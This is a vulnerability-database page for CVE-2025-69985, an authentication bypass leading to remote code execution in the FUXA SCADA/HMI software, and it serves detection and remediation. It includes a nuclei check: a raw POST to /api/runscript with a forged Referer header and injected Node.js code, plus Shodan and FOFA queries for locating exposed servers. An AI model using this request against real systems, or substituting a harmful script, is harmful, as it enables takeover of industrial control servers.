Browse / CVEs / CVE-2025-69985
CVE-2025-69985· frangoteam / fuxa· CWE-288
FUXA <= 1.2.8 - Authentication Bypass to Remote Code Execution
FUXA versions up to and including 1.2.8 contain an authentication bypass in the jwt-helper.js middleware. The requireAuth function trusts the HTTP Referer header containing '/fuxa' (or localhost/loopback patterns) to whitelist requests as "internal", skipping JWT verification entirely. This allows unauthenticated attackers to POST to /api/runscript and execute arbitrary Node.js code server-side via Module._compile(), typically running as root inside Docker deployments.
Impact
An unauthenticated remote attacker can execute arbitrary system commands on the FUXA server with the privileges of the Node.js process (often root in Docker). This leads to full system compromise, data exfiltration, lateral movement, and potential disruption of SCADA/ICS systems managed by FUXA.
Fix
Upgrade to FUXA version 1.3.0 or later, which properly enforces JWT authentication without Referer header trust.
How to confirm it
Send: POST /api/runscript
Positive when: contains "\"{{p1}}{{p2}}\"" AND contains in content_type "application/json" AND status 200Run it with nuclei: nuclei -id CVE-2025-69985 -u <target>
The full check
id: CVE-2025-69985
info:
name: FUXA <= 1.2.8 - Authentication Bypass to Remote Code Execution
author: DhiyaneshDk
severity: critical
description: |
FUXA versions up to and including 1.2.8 contain an authentication bypass in the jwt-helper.js middleware. The requireAuth function trusts the HTTP Referer header containing '/fuxa' (or localhost/loopback patterns) to whitelist requests as "internal", skipping JWT verification entirely. This allows unauthenticated attackers to POST to /api/runscript and execute arbitrary Node.js code server-side via Module._compile(), typically running as root inside Docker deployments.
impact: |
An unauthenticated remote attacker can execute arbitrary system commands on the FUXA server with the privileges of the Node.js process (often root in Docker). This leads to full system compromise, data exfiltration, lateral movement, and potential disruption of SCADA/ICS systems managed by FUXA.
remediation: |
Upgrade to FUXA version 1.3.0 or later, which properly enforces JWT authentication without Referer header trust.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2025-69985
- https://gist.github.com/lihy10/8cb2dd65ebf1385f12a7e00e25a50d40
- https://github.com/frangoteam/FUXA/blob/master/server/api/jwt-helper.js
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2025-69985
epss-score: 0.14342
epss-percentile: 0.96666
cwe-id: CWE-288
metadata:
verified: true
max-request: 1
vendor: frangoteam
product: fuxa
shodan-query: title:"FUXA"
fofa-query: title="FUXA"
tags: cve,cve2025,fuxa,rce,auth-bypass,scada,ics,vkev
variables:
p1: "{{rand_text_alpha(8)}}"
p2: "{{rand_text_alpha(8)}}"
http:
- raw:
- |
POST /api/runscript HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
Referer: {{BaseURL}}/fuxa
{"params":{"script":{"parameters":[],"mode":"","id":"{{p1}}","name":"{{p2}}","code":"return '{{p1}}'+'{{p2}}';","test":"true"},"toLogEvent":false}}
matchers-condition: and
matchers:
- type: word
part: body
words:
- '"{{p1}}{{p2}}"'
- type: word
part: content_type
words:
- "application/json"
- type: status
status:
- 200References
- https://nvd.nist.gov/vuln/detail/CVE-2025-69985
- https://gist.github.com/lihy10/8cb2dd65ebf1385f12a7e00e25a50d40
- https://github.com/frangoteam/FUXA/blob/master/server/api/jwt-helper.js
Use this check only on systems you are authorised to test. Where the data comes from